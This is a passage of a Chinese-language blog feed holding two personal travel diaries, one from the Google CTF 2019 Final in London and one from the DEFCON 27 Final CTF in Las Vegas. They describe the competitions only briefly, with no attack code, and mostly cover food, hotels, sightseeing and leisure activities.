<p>從圖片可能看不出來大小，實際上這個超級大，英國人到底怎麼幹回來的XD</p>
<p><br></p>
<h3 id="Google"><a href="#Google" class="headerlink" title="Google"></a>Google</h3><p>Google London 某種程度應該也算是個景點XD</p>
<p>地點就在國王十字車站旁邊而已，超級方便，離飯店不到十分鐘路程</p>
<p>在賽前一天，主辦方有辦一個 Office Tour 和晚宴，結束後還有 King’s club 行程</p>
<p>但由於我們行程緊湊，所以 Office Tour 就沒去，只有參加晚宴跟 King’s club</p>
<p>一走進 Google London 大樓，最吸引目光的就是這面有各種經典人物、角色的牆:</p>
<p><img src="https://i.imgur.com/kBQ4tiq.jpg" alt=""></p>
<p>白天時往上看也蠻壯觀的:</p>
<p><img src="https://i.imgur.com/FtYpZT5.jpg" alt=""></p>
<p>然後這場沒有 Badge，但是兩天都會發這種識別證給你配戴:</p>
<p><img src="https://i.imgur.com/Iri9bjk.jpg" alt=""></p>
<p>還發了一個整場都沒用到的 coin，也許是給我們當紀念品(?</p>
<p><img src="https://i.imgur.com/suK1EDF.jpg" alt=""></p>
<p>每人還有一件印著自己 ID 的T-shirt，不過材質不優，尤其是領子的地方，很不舒服</p>
<p>(Google乾爹錢這麼多怎不挑個材質好一點的衣服QQ)</p>
<p>而且樣式有點醜，工作人員的款式比較好看XD</p>
<p><img src="https://i.imgur.com/mu7qpj7.jpg" alt=""></p>
<p>每隊桌子旁邊都有一個會發光的擋板:</p>
<p><img src="https://i.imgur.com/CzKIfRp.jpg" alt=""></p>
<p><img src="https://i.imgur.com/1cmWfiS.jpg" alt=""></p>
<p>還有電競椅(?)</p>
<p><img src="https://i.imgur.com/ceAeAOU.jpg" alt=""></p>
<p>然後這是冠軍獎杯，雖然無緣拿到，但至少有摸過XD</p>
<p><img src="https://i.imgur.com/nAKWfoU.jpg" alt=""></p>
<p><br></p>
<p>Web 的 Saber.ninja 那題，要讓 BOT 訪問你的連結，就是要來這邊跟他一樣玩這個VR遊戲:</p>
<p><img src="https://i.imgur.com/fXT5UNT.jpg" alt=""></p>
<p>(圖中那個是這題出題人，他會講中英日三種語言，超強)</p>
<p><br></p>
<p>這是First Blood 和 New Leader(第一名換人時) 的特效:</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/aSDAUpuaAhU" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p>Pwn 的 Gomium Browser 那題，Exploit 會被放到大螢幕上打一遍給大家看，噴計算機就是成功:</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/nKXAQbjIFPI" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p><br></p>
<p>頒獎典禮:</p>
<p><img src="https://i.imgur.com/tlUT3Pr.jpg" alt=""></p>
<p>Dragon Sector 帶了幾瓶波蘭烈酒來給大家喝:</p>
<p><img src="https://i.imgur.com/3kwDube.jpg" alt=""></p>
<p>賽後Party跟<code>A*O*E</code>大佬交流，能講中文的感覺真好:</p>
<p><img src="https://i.imgur.com/LvJupd1.jpg" alt=""></p>
<p>(不過這時我已經被 Dragon Sector 的烈酒灌到茫惹XD)</p>
<p><br></p>
<h2 id="u98DF_u7269"><a href="#u98DF_u7269" class="headerlink" title="食物"></a>食物</h2><h3 id="The_Easton"><a href="#The_Easton" class="headerlink" title="The Easton"></a>The Easton</h3><p><img src="https://i.imgur.com/R0OwL8m.jpg" alt=""></p>
<p>這間是我們在英國吃的第一餐</p>
<p>英國好像比較少正式的餐廳(以我們住的那一區來說)</p>
<p>大部分都是這種酒吧類的，然後裡面也會賣一些吃的</p>
<p>我吃的是類似紅酒牛肉派的東西:</p>
<p><img src="https://i.imgur.com/jSskdP8.jpg" alt=""></p>
<p>吃完就開始對英國食物不抱任何期待惹，實在不優</p>
<p>不過這家的酒都不錯喝</p>
<p>連不太喝酒的@bookgin都說好喝惹</p>
<p>我點了一杯Pale ale的啤酒也是比想像中順口</p>
<p><img src="https://i.imgur.com/fsSSjin.jpg" alt=""></p>
<p><br></p>
<h3 id="Shaka_Zulu"><a href="#Shaka_Zulu" class="headerlink" title="Shaka Zulu"></a>Shaka Zulu</h3><p><img src="https://i.imgur.com/r02cFiO.jpg" alt=""></p>
<p>這間是賽前一天 Google 主辦方帶我們去吃的晚餐</p>
<p>地點在肯頓市集裡的一間非洲餐廳</p>
<p>從走進去的一步開始，就能感受到濃濃的非洲味</p>
<p>除了是餐廳外，他裡面還是個酒吧，所以外面會有門禁管制</p>
<p><img src="https://i.imgur.com/cSVNCkY.jpg" alt=""></p>
<p>由於我們算是比較新的隊伍，其他隊伍都是老牌強隊</p>
<p>所以除了 TokyoWesterns 之外，我們基本上都沒有認識的</p>
<p>一進餐廳就有點像邊緣人，只能坐在角落的一桌XD</p>
<p>不過也剛好因此跟這場的 Web 出題人坐一桌</p>
<p><br></p>
<p>餐點方面，這個雞翅和鮭魚比主菜好吃上百倍:</p>
<p><img src="https://i.imgur.com/5KVjjW2.jpg" alt=""></p>
<p>然後這款啤酒聽說是非洲有名的一款啤酒</p>
<p>味道跟我印象中 Larger 啤酒的味道有點落差，不過是好喝的XD</p>
<p><img src="https://i.imgur.com/uBt6kV1.jpg" alt=""></p>
<p>它的紅白酒、粉紅酒也都不錯喝:</p>
<p><img src="https://i.imgur.com/83SxgDV.jpg" alt=""></p>
<p>然後這個是我點的主菜，斑馬肉!</p>
<p><img src="https://i.imgur.com/80RspgY.jpg" alt=""></p>
<p>不過吃起來口感像牛肉，但比較難咬，沒啥特別的味道，非常不優</p>
<p>下面這個是@yuawn點的牛排，幾近全熟，也是不優:</p>
<p><img src="https://i.imgur.com/8kJkdm7.jpg" alt=""></p>
<p>不定時還有火舞表演，還算能看啦:</p>
<p><img src="https://i.imgur.com/dMjCtnk.jpg" alt=""></p>
<p><br></p>
<p>最ㄎㄅ的是，晚餐結束本來有個King’s club行程</p>
<p>不過大家好像都搞不太清楚到底是怎樣，甚至工作人員也不知道</p>
<p>所以後來就一群人莫名被帶回飯店，只留下我們和那群出題人</p>
<p>後來才知道 King’s club 就是同一家餐廳裡面的酒吧…WTF</p>
<p>再加上隊上其他人都不太喝酒，所以最後坐了一會就跟出題人搭地鐵回飯店了</p>
<p><br></p>
<h3 id="Stoke_House"><a href="#Stoke_House" class="headerlink" title="Stoke House"></a>Stoke House</h3><p><img src="https://i.imgur.com/bsqjBtn.jpg" alt=""></p>
<p>這間是我們從巨石陣回來吃的晚餐</p>
<p>應該是倫敦之旅花費最高的一餐</p>
<p>我的主餐是這個烤豬排</p>
<p><img src="https://i.imgur.com/HNoTCK3.jpg" alt=""></p>
<p>肉質意外的嫩，而且烤得很香，但吃到後面會有點微膩</p>
<p>而我點的這杯調酒叫Lolipop，裡面有加Midori，所以看起來才綠綠的</p>
<p><img src="https://i.imgur.com/MDVfvs4.jpg" alt=""></p>
<p>然後下面這個是 @sasdf 和 @yuawn 點的大牛排(這盤要數千台幣XD):</p>
<p><img src="https://i.imgur.com/zW2k5Mj.jpg" alt=""></p>
<p><br></p>
<h3 id="Borough_Market"><a href="#Borough_Market" class="headerlink" title="Borough Market"></a>Borough Market</h3><p><img src="https://i.imgur.com/apAOgOQ.jpg" alt=""></p>
<p>這個市場還蠻熱鬧的，攤販多，人也很多</p>
<p><img src="https://i.imgur.com/bhSd5i2.jpg" alt=""></p>
<p>我們來這裡主要是為了吃英國必吃的炸魚薯條:</p>
<p><img src="https://i.imgur.com/iBDtaZB.jpg" alt=""></p>
<p><img src="https://i.imgur.com/Ik7VsgX.jpg" alt=""></p>
<p>但吃起來跟在 Vegas 吃到的沒啥太大差別，一樣吃到後面會很膩</p>
<p>不過很幸運的在旁邊的小攤販買到一杯很好喝的熱紅酒:</p>
<p><img src="https://i.imgur.com/QSRnZml.jpg" alt=""></p>
<p><img src="https://i.imgur.com/4UrzwWx.jpg" alt=""></p>
<p><br></p>
<h3 id="Google_Food"><a href="#Google_Food" class="headerlink" title="Google Food"></a>Google Food</h3><p>我們比賽兩天的食物都是 Google 包辦的</p>
<p>不得不說，雖然沒有到特別好吃，但已經比我們在外面餐廳吃的東西好吃很多惹</p>
<p>下面這個很像肉燥的東西，配飯超好吃，我嗑掉好幾碗飯:</p>
<p><img src="https://i.imgur.com/ImN86EL.jpg" alt=""></p>
<p>然後有神奇的檸檬薄荷水，個人不太喜歡:</p>
<p><img src="https://i.imgur.com/nhu8W0W.jpg" alt=""></p>
<p>Red bull, 可樂, 雪碧啥的也都是免費拿到爽:</p>
<p><img src="https://i.imgur.com/skwk8Z6.jpg" alt=""></p>
<p><br></p>
<p>晚餐吃pizza:</p>
<p><img src="https://i.imgur.com/95cVcjM.jpg" alt=""></p>
<p>還有滿滿的薯條和洋蔥圈:</p>
<p><img src="https://i.imgur.com/9aUlkEs.jpg" alt=""></p>
<p>墨西哥捲餅:</p>
<p><img src="https://i.imgur.com/cebuTJp.jpg" alt=""></p>
<p>After Party 的酒也是誠意滿滿</p>
<p><img src="https://i.imgur.com/KeiNUfD.jpg" alt=""></p>
<p><img src="https://i.imgur.com/hL9JSBf.jpg" alt=""></p>
<p>還有 Dragon Sector 帶的酒:</p>
<p><img src="https://i.imgur.com/tW06Kjz.jpg" alt=""></p>
<p><br></p>
<h3 id="u80AF_u9813_u5E02_u96C6-1"><a href="#u80AF_u9813_u5E02_u96C6-1" class="headerlink" title="肯頓市集"></a>肯頓市集</h3><p>最後一天，在去大英博物館之前，我們先到肯頓市集亂晃，順便吃午餐</p>
<p>由於英國幾乎沒有手搖杯店，所以走了很久才找到一家賣喝的</p>
<p>點了一杯中規中矩的 Chocolate Milk Shake:</p>
<p><img src="https://i.imgur.com/M6JT2s3.jpg" alt=""></p>
<p>@sasdf 則是點了一杯顏色很神奇的飲料:</p>
<p><img src="https://i.imgur.com/CO2etA2.jpg" alt=""></p>
<p>然後附近吃的幾乎都是很美式的漢堡薯條或是炸物</p>
<p><img src="https://i.imgur.com/b6oe4un.jpg" alt=""></p>
<p><img src="https://i.imgur.com/nvOKf3m.jpg" alt=""></p>
<p><img src="https://i.imgur.com/F5ZyFCV.jpg" alt=""></p>
<p>還有 wow~big size 的大熱狗</p>
<p><img src="https://i.imgur.com/vQUaWcN.jpg" alt=""></p>
<p><br></p>
<h3 id="u6A5F_u5834"><a href="#u6A5F_u5834" class="headerlink" title="機場"></a>機場</h3><p>最後要上飛機前的晚餐</p>
<p>意外吃到爆幹好吃的食物，幾乎可以排在我這趟旅行的前三好吃食物了</p>
<p><img src="https://i.imgur.com/kQL1dHZ.jpg" alt=""></p>
<p>就是這個 Thai duck stir fry，超爆幹好吃的泰式炒麵</p>
<p>醬汁鹹甜又帶點微辣，讓人不禁一口接著一口</p>
<p>還意外找到我一直在找的 London Pride 啤酒:</p>
<p><img src="https://i.imgur.com/odPMuVv.jpg" alt=""></p>
<p>這款是英國經典的道地啤酒，不知為啥跑了很多超市都找不到</p>
<p>最後居然給我在機場找到了</p>
<p>喝起來口感，苦味偏低，然後帶有點微微焦糖味，和很濃的麥香</p>
<p>不愧是道地經典啤酒，真的不錯喝</p>
<p><br></p>
<h3 id="u5176_u4ED6"><a href="#u5176_u4ED6" class="headerlink" title="其他"></a>其他</h3><p>巨石陣遊客中心買的奶油派:</p>
<p><img src="https://i.imgur.com/uqoftNP.jpg" alt=""></p>
<p>老實說，很難吃，真的不習慣吃英國的派</p>
<p><br></p>
<h2 id="u7D50_u5C3E"><a href="#u7D50_u5C3E" class="headerlink" title="結尾"></a>結尾</h2><p>總結來說，這場給我的感覺比之前打過的幾場現場賽都還要好</p>
<p>雖然還是有些很黑人問號的地方，但都沒有到很嚴重影響比賽進行</p>
<p>如果主辦方能把規則講清楚一點就完美了</p>
<p>也從比賽解題的撞牆過程中學到很多東西，時間不長，收穫很大!</p>
<p>然後食物飲料免費拿真的很爽，多送一天住宿也很爽，感謝 Google 乾爹</p>
<p><br></p>
<p>另外也遇到很多平常只會在 Twitter 上看到的超級大佬</p>
<p>還記得跟某個出題人要 Twitter 時，才發現我已經 Follow 過他了，原來就是某某某大神XD</p>
<p>人不可貌相這句話，在這次英國行也徹底體會到了</p>
<p>你絕對想不到隔壁長得像毒梟的傢伙，居然是出題大佬XD</p>
<p><br></p>
<p>不過這幾天下來，深深感受到英國食物真的幾乎都很難吃QQ</p>
<p>還好有@bookgin帶的泡麵，幫忙解決一餐宵夜</p>
<p>這碗泡麵大概也能排進這趟英國行的美食排行榜前五吧</p>
<p><img src="https://i.imgur.com/3t0CQs1.jpg" alt=""></p>
]]></content>
    <summary type="html">
    <![CDATA[<h1 id="Google_CTF_2019_Final"><a href="#Google_CTF_2019_Final" class="headerlink" title="Google CTF 2019 Final"></a>Google CTF 2019 Final</h1><p><img src="https://i.imgur.com/beVZJwI.png" alt="Final Scoreboard"></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>這場是 Google 舉辦的 CTF 決賽，地點在英國倫敦的 Google 大樓內</p>
<p>比賽時間兩天，都是早上9點開始，第一天到晚上8點，第二天到晚上6點半</p>
<p>但其實回飯店後還是能繼續解題，題目都不會關，只有部分題目沒辦法線上解</p>
<p>(p.s. 內文圖多慎入)</p>]]>
    
    </summary>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[DEFCON 27 Final CTF 遊記]]></title>
    <link href="http://blog.kaibro.tw/2019/08/25/DEFCON-27-Final-CTF-%E9%81%8A%E8%A8%98/"/>
    <id>http://blog.kaibro.tw/2019/08/25/DEFCON-27-Final-CTF-遊記/</id>
    <published>2019-08-24T17:55:39.000Z</published>
    <updated>2019-09-10T08:50:17.000Z</updated>
    <content type="html"><![CDATA[<p><img src="https://i.imgur.com/HtgiVjy.png" alt=""></p>
<h1 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h1><p>今年DEFCON CTF，再次以BFKinesiS的成員參加(去年叫BFS)，不同的是，今年和HITCON戰隊一起聯隊打。</p>
<p>初賽時在HITCON大佬們的帶領下，拿下第二名，同時也見識到了跟大神們的實力差距</p>
<p>真希望自己有一天也能像大佬們一樣電orz</p>
<a id="more"></a>
<h1 id="u6BD4_u8CFD"><a href="#u6BD4_u8CFD" class="headerlink" title="比賽"></a>比賽</h1><p>賽前準備方面，大部分人都負責跟去年差不多的工作，我自己則是另外跑去幫忙毛哥弄了一些Packet分析相關的工具。</p>
<p>賽制部分，跟去年一樣是Attack&amp;Defense + King of Hill</p>
<p>然後封包一樣是題目被打到快爛掉才放，所以基本上不太需要花時間做封包Replay、分析封包</p>
<p>而題目的部分，一如往常地，有各種奇怪的架構、語言，例如古老LISP題、XBox題</p>
<p>還有一個很坑的地方是，他今年一堆服務外面都是套Web，所以有設流量限制，超過限制就直接Ban網路</p>
<p><br></p>
<p>題目細節已經有很多人寫過分析了，這邊就不再花時間撰寫</p>
<p>比較值得一提的是，以往DEFCON CTF都沒有Web題，但去年開始出了bew這種包著WASM的半web題</p>
<p>今年更是一口氣出了兩題Web題，其中一題jtaste還是純Web題XD</p>
<p>也許未來會有更多Web題也不一定?</p>
<p>看起來Web狗以後終於有點事情能做了(X</p>
<p><br></p>
<p>另一題Web題，則是super smash ooos</p>
<p>打開來是一個大亂鬥的網頁，然後有個可以輸入信用卡號的購物頁面</p>
<p>這題另外還給了一坨噁爛又逆不出來的WASM，讓大家都覺得是純逆向題，以為要想辦法逆出正確卡號之類的</p>
<p>而且題目沒給一些重要config檔，本地Local很難直接跑起來測</p>
<p>所以光是讓本地能跑起來，就花了不少時間</p>
<p>但跑起來後，也很難戳出有用東西，後來我們甚至有人拿真的卡號下去刷XD</p>
<p><br></p>
<p>到了隔天，大家都在崩潰逆向wasm時，我和ysc則開始嘗試以web角度去黑箱fuzzing</p>
<p>我意外發現Server會吃Referer，少了Referer，就不會走到某些功能</p>
<p>e.g. Referer沒有<code>/purchase.html</code>，就會一直噴<code>Why did you do that</code></p>
<p>甚至還發現塞單引號或特殊字元進Referer時，會噴<code>Request caused major error. please re-enter the information.</code></p>
<p>當初只覺得有機會搞事，但提出來後沒人理我，所以就沒繼續鑽下去了XDDDD</p>
<p>結果賽後問mhackeroni才知道，原來Referer那邊真的可以SQL Injection…</p>
<p>想想真可惜，都已經戳到注入點了，居然就這樣放掉，慘QQ</p>
<p><br></p>
<p>比賽結果部分，我們到第二天結束，都還是處於第一名的位置</p>
<p>可惜mirror-universe那題噴太多，最後還是被PPP搞下去</p>
<p>也蠻佩服PPP碰到各種詭異古老題目都有辦法解掉</p>
<p>真的跪了，老司機真會玩</p>
<p><img src="https://i.imgur.com/EC9Dhbz.jpg" alt=""></p>
<p><br></p>
<p>比賽中間，樓上房間機器曾經出了點問題，貌似電源被打掃阿姨搞掉 (別隊派來的間諜?</p>
<p>所以過程中一度網路停擺，然後剛好機器沒鍵盤，只能用滑鼠點小鍵盤下指令</p>
<p>還好我隨身攜帶了一把Filco鍵盤，立馬接上去，緊急修復了網路</p>
<p>不然不知道網路會死多久lol</p>
<p><br></p>
<h1 id="u98DF_u7269"><a href="#u98DF_u7269" class="headerlink" title="食物"></a>食物</h1><p>比賽幾天的食物，一樣是助理和老師幫忙處理</p>
<p>這次有一大半都是吃中式餐點，早餐有幾次都是吃台灣菜，例如豆漿、蔥抓餅、蘿蔔糕、肉圓等XD</p>
<p>而且大部分都出乎意料地好吃，甚至比台灣道地的還好吃(?</p>
<p><img src="https://i.imgur.com/nDyVKNB.jpg" alt=""></p>
<p><img src="https://i.imgur.com/MrBtotH.jpg" alt=""></p>
<p><br></p>
<p>有一次晚餐吃泰國菜，他的冬陰功比我在泰國吃的還好吃XD</p>
<p><img src="https://i.imgur.com/ePEQG4y.jpg" alt=""></p>
<p>泰式珍奶也不錯喝，奶茶是泰奶，跟珍珠莫名很搭</p>
<p><img src="https://i.imgur.com/XMw3JLZ.jpg" alt=""></p>
<p><br></p>
<p>還有一些從台灣帶來的泡麵、零食，在比賽幾天中扮演了很重要的能量補給角色</p>
<p><img src="https://i.imgur.com/Dkj6tEw.jpg" alt=""></p>
<p>其實還有帶一堆牛奶花生，只是都一下子就被嗑光惹</p>
<p><img src="https://i.imgur.com/G0FAjOI.jpg" alt=""></p>
<p><br></p>
<p>頒獎結束後，跟去年一樣，大伙一起去吃大餐</p>
<p>不過今年吃的是日式燒肉:</p>
<p><img src="https://i.imgur.com/tOLJBbm.jpg" alt=""></p>
<p><img src="https://i.imgur.com/iF00DTy.jpg" alt=""></p>
<p>比較崩潰的是，晚上要去看KA秀，所以吃到一半就走人了</p>
<p>似乎少吃了很多厲害的肉QQ</p>
<p><br></p>
<p>比賽前某天的晚餐，法國餐廳 Mon Ami Gabi:</p>
<p><img src="https://i.imgur.com/0WfSZIo.jpg" alt=""></p>
<p><img src="https://i.imgur.com/m3cKvBb.jpg" alt=""></p>
<p>只可惜牛排有點雷，酒也普普通通</p>
<p><br></p>
<p>GORDON RAMSAY Fish &amp; Chips:</p>
<p><img src="https://i.imgur.com/0BZoYap.jpg" alt=""></p>
<p><img src="https://i.imgur.com/21Z449Y.jpg" alt=""></p>
<p>飲料可以無限裝，很讚</p>
<p>魚很好吃，只是吃到後面會超膩</p>
<p><br></p>
<p>大峽谷團的午餐:</p>
<p><img src="https://i.imgur.com/769bV55.jpg" alt=""></p>
<p>還有奇特包裝的中式料理，但出乎意料地好吃</p>
<p><img src="https://i.imgur.com/woPvGx1.jpg" alt=""></p>
<p><br></p>
<p>在往大峽谷路上的雜貨店，發現看起來很可口的蠍子棒棒糖:</p>
<p><img src="https://i.imgur.com/bkswv1F.jpg" alt=""></p>
<p>不過我沒勇氣嘗試就是了</p>
<p><br></p>
<p>某天晚餐的漢堡</p>
<p>這間店的菜名都很有特色，例如我點的這個漢堡叫Morning Glory</p>
<p><img src="https://i.imgur.com/fSMKn13.jpg" alt=""></p>
<p><img src="https://i.imgur.com/uWIpUrY.jpg" alt=""></p>
<p><br></p>
<h1 id="u98EF_u5E97"><a href="#u98EF_u5E97" class="headerlink" title="飯店"></a>飯店</h1><p>這次飯店住的是Planet Hollywood，主要是因為今年DEFCON會場辦在這個飯店附近</p>
<p>住起來的感覺，似乎沒有上次凱撒宮那麼高級、舒適</p>
<p>冰箱裡面也沒有放看起來很貴的酒</p>
<p>(不過Planet Hollywood好像跟凱撒宮是同一個老闆?)</p>
<p>一開始我住四人房，後面幾天才換到DEFCON送的雙人房</p>
<p><img src="https://i.imgur.com/rnIFt5B.jpg" alt=""></p>
<p>房間看出去的樣子:</p>
<p><img src="https://i.imgur.com/71TvkjQ.jpg" alt=""></p>
<p>比賽用的大房間長這樣:</p>
<p><img src="https://i.imgur.com/MK6V3lx.jpg" alt=""></p>
<p>大房間看出去的景色 (真D牛逼):</p>
<p><img src="https://i.imgur.com/nMDaEXr.jpg" alt=""></p>
<p>還有從天花板降下來的螢幕，害我撞到頭，真該死:</p>
<p><img src="https://i.imgur.com/WGzBldo.jpg" alt=""></p>
<p><br></p>
<h1 id="u5A1B_u6A02"><a href="#u5A1B_u6A02" class="headerlink" title="娛樂"></a>娛樂</h1><h2 id="u73A9_u5177"><a href="#u73A9_u5177" class="headerlink" title="玩具"></a>玩具</h2><p>這次去DEFCON，有順便去Vendor Area逛一下</p>
<p>看到一些很炫炮的玩具，手癢也買了一些回來XD</p>
<p><img src="https://i.imgur.com/6BMtsDj.jpg" alt=""></p>
<p>買了一台Pineapple Tetra和很邪惡的USB Type C線</p>
<p>不過都蠻貴的，噴了不少錢QQ</p>
<p>有機會再來開箱一下</p>
<p><br></p>
<h2 id="u5927_u5CFD_u8C37"><a href="#u5927_u5CFD_u8C37" class="headerlink" title="大峽谷"></a>大峽谷</h2><p>這次來DEFCON，比去年多很多空閒時間</p>
<p>所以大家就揪團衝去大峽谷觀摩一下</p>
<p>幾乎整團BFKinesiS都有去吧(?</p>
<p>不過我們去的是大峽谷南緣，所以基本上整天都在坐車，屁股頗痛</p>
<p>中間還有順路去胡佛水壩，見識一下電影裡常看到的場景</p>
<p><img src="https://i.imgur.com/ItaCdef.jpg" alt=""></p>
<p>還有66號公路上的金拱門:</p>
<p><img src="https://i.imgur.com/7909oMJ.jpg" alt=""></p>
<p><br></p>
<p>最後搭了不知道幾個小時的車子，終於見到大峽谷本人了:</p>
<p><img src="https://i.imgur.com/uK12QRe.jpg" alt=""></p>
<p><img src="https://i.imgur.com/AyZvWcl.jpg" alt=""></p>
<p>從大峽谷底爬上來的男人:</p>
<p><img src="https://i.imgur.com/WkTmsRy.jpg" alt=""></p>
<p>三杯松鼠:</p>
<p><img src="https://i.imgur.com/xm5BbKy.jpg" alt=""></p>
<p>早上6, 7點起床出發，晚上回到飯店就大概11點了，根本坐車日</p>
<p><br></p>
<h2 id="u6253_u69CD"><a href="#u6253_u69CD" class="headerlink" title="打槍"></a>打槍</h2><p>拉斯維加斯的休閒娛樂中，實彈射擊算是蠻熱門的一個項目</p>
<p>所以我就揪了幾個人一起來打槍槍</p>
<p>挑了一家看起來很猛的店，叫BattleField</p>
<p>結果後面幾天，也一堆其他團的跟著跑去打槍槍</p>
<p>安安，不要跟風好ㄇXDDDD</p>
<p><img src="https://i.imgur.com/YDb9axc.jpg" alt=""></p>
<p><img src="https://i.imgur.com/feAwhaA.jpg" alt=""></p>
<p>一開始我選了兩把經典槍: AK-47 和 Desert Eagle</p>
<p>(玩CS恐怖份子那麼久，想試試看真的槍XD)</p>
<p>但店員再三勸退我不要用沙漠之鷹，因為後座力太大，容易撞碎眼鏡之類的，很危險XD</p>
<p>於是後來我就被說服惹，改成基本款Glock，我難過QQ</p>
<p><br></p>
<p>實際打起來，Glock沒啥特別的地方，後座力也不大，很一般般</p>
<p>不過AK-47射起來後座力也不小，肩膀沒頂好的話，會撞得很痛XD</p>
<p><img src="https://i.imgur.com/Qj4Dr3l.jpg" alt=""></p>
<p><br></p>
<p>店外還有很多坦克、飛機，似乎只要花錢就能給你開坦克XD</p>
<p><img src="https://i.imgur.com/tVgtO9v.jpg" alt=""></p>
<p><br></p>
<p>結束時，還能免費搭他們的接駁車回飯店</p>
<p>不過他們的車子其實是吉普車</p>
<p>我們整個人都露在車外面，坐起來有點恐怖，但蠻好玩的XD</p>
<p><img src="https://i.imgur.com/Z1HwSdp.jpg" alt=""></p>
<p><br></p>
<h2 id="u8CFD_u8ECA"><a href="#u8CFD_u8ECA" class="headerlink" title="賽車"></a>賽車</h2><p><img src="https://i.imgur.com/K61TRRr.jpg" alt=""></p>
<p>賽車也算是Vegas著名的休閒娛樂，一直手癢想開看看跑車</p>
<p>不過由於大家都沒帶駕照，所以後來我就只揪美國的朋友去開車車</p>
<p>(p.s. 這邊用自己國家駕照就行惹，不一定要國際駕照)</p>
<p>我去的這家叫Dream Racing，裡面有各種跑車、超跑，可以挑一台然後上賽道跑</p>
<p>沒錯，是真的賽道，就是那種會各種彎來彎去的賽道XDDD</p>
<p><br></p>
<p>一開始，教練會先簡單解釋賽道的跑法，例如轉彎時，該靠外還是靠內、哪些地方該踩煞車、補油門等等</p>
<p>之後可以選擇用模擬機台練習，或是Discovery tour兩圈</p>
<p>Discovery tour是讓教練開車實際上路，跑兩圈，然後邊開邊解說</p>
<p>理所當然地，我選的是Discovery tour</p>
<p>教練挑了一台瑪莎拉蒂休旅車 (應該是Levante?)</p>
<p><img src="https://i.imgur.com/Z4SZc3r.jpg" alt=""></p>
<p>然後就直接在賽道上飆起來惹XDDDD</p>
<p>我才知道原來休旅車還能這樣開，兩圈一眨眼就跑完惹</p>
<p><br></p>
<p>接著，就是實際上路開了</p>
<p>我選的車是黑色的Nissan GTR R35</p>
<p><img src="https://i.imgur.com/EiHKYB9.jpg" alt=""></p>
<p>一直很想開開看GTR，所以就沒選其他潮爆的超跑惹 (當然一部分也是基於金錢考量…)</p>
<p>只能說，GTR開起來的加速感，真的很猛，比以前開過的野馬還爽</p>
<p>然後教練還會一直在旁邊不斷叫你油門踩到底XD</p>
<p>開到我都覺得快翻車了</p>
<p><br></p>
<p>結束會問你要不要買影片 (他車上會放攝影機拍車內跟車外)</p>
<p>除了車內車外的影片外，還有時速錶跟車子在賽道上的位置圖</p>
<p>雖然有點貴，要80鎂左右，不過看了一下影片品質，覺得還不錯</p>
<p>所以最後還是咬著牙買下去了</p>
<p><br></p>
<h2 id="Show"><a href="#Show" class="headerlink" title="Show"></a>Show</h2><p><img src="https://i.imgur.com/WV1Yesw.jpg" alt=""></p>
<p>比賽結束那天，忘記是誰說想去看Show，於是就順手報名惹</p>
<p>這次看的是太陽馬戲團KA</p>
<p>算是我人生第一次看這種世界級的秀</p>
<p>覺得裡頭各種道具和舞台都很炫砲，看得眼花撩亂</p>
<p>只可惜裡面不能拍照，所以沒照片啦QQ</p>
<p><img src="https://i.imgur.com/wnxPpgK.jpg" alt=""></p>
<p><br></p>
<h2 id="u5438_u8349"><a href="#u5438_u8349" class="headerlink" title="吸草"></a>吸草</h2><p>由於去年我已經嘗試過了，所以今年變成帶大家去吸草的吸草團團長</p>
<p>這次的吸草團包含我只有5個人，附帶一隻看門海狗</p>
<p>然後嘗試了另一家評價不錯的草店，好像叫做Oasis，沙漠中的綠洲</p>
<p><img src="https://i.imgur.com/IVgBt8g.jpg" alt=""></p>
<p>裡面賣的口味幾乎都是怪名字，感覺是自己隨便取名的(?</p>
<p>跟去年我去的那家賣的東西差很多</p>
<p><img src="https://i.imgur.com/CoWshX6.jpg" alt=""></p>
<p><img src="https://i.imgur.com/P0UM7Uj.jpg" alt=""></p>
<p><br></p>
<p>由於Vegas規定公共場所和飯店不能吸草，所以我們買完回去後就亂走</p>
<p>跑到飯店停車場旁邊的一個類似卸貨區的地方吸</p>
<p>這次大家一樣都買pre-roll的草，我自己一根，其他四個人分另外兩根</p>
<p><img src="https://i.imgur.com/8Xfrdhn.jpg" alt=""></p>
<p><br></p>
<p>不過吸起來的感覺，沒有去年Mimosa那麼飄飄然，也沒有很明顯感受到感官上的變化</p>
<p>可能我這口味的效果不強吧(?</p>
<p>倒是其他人的感受比較明顯，有的人似乎還出現幻覺(?</p>
<p><br></p>
<p>最後還被騎腳踏車經過的保全趕走，叫我們去別的地方Chill</p>
<p>所以後來大家在看門海狗的帶領下，都跑回我們房間Chill了</p>
<p><img src="https://i.imgur.com/YOxFjxv.jpg" alt=""></p>
<p><br></p>
<h2 id="u5176_u4ED6"><a href="#u5176_u4ED6" class="headerlink" title="其他"></a>其他</h2><p>很高的摩天輪:</p>
<p><img src="https://i.imgur.com/KTU9k7E.jpg" alt=""></p>
<p>傍晚的Vegas:</p>
<p><img src="https://i.imgur.com/ThoJX2R.jpg" alt=""></p>
<p>夜晚的Vegas:</p>
<p><img src="https://i.imgur.com/6NP7v2W.jpg" alt=""></p>
<p>今年的Badge:</p>
<p><img src="https://i.imgur.com/IHKzaAo.jpg" alt=""></p>
<p>沒錯，就是一塊石頭(or 玉?)</p>
<p>我個人是覺得醜爆了啦，居然還有人把這麼大塊石頭當手錶戴</p>
<p>而且電池一下子就沒電了，整個有點雷</p>
<p>然後Badge的真正玩法應該是這樣:</p>
<p><img src="https://i.imgur.com/nfIDVRW.jpg" alt=""></p>
<p>紀念品一樣排到快死，而且又很貴:</p>
<p><img src="https://i.imgur.com/5u1UAyC.jpg" alt=""></p>
<p>然後今年的金幣長這樣:</p>
<p><img src="https://i.imgur.com/vh6zCyF.jpg" alt=""></p>
<p>在Vendor Area還看到百度安全:</p>
<p><img src="https://i.imgur.com/Uyvohi6.jpg" alt=""></p>
<p>比賽結束後，用酒票換了一瓶可樂娜:</p>
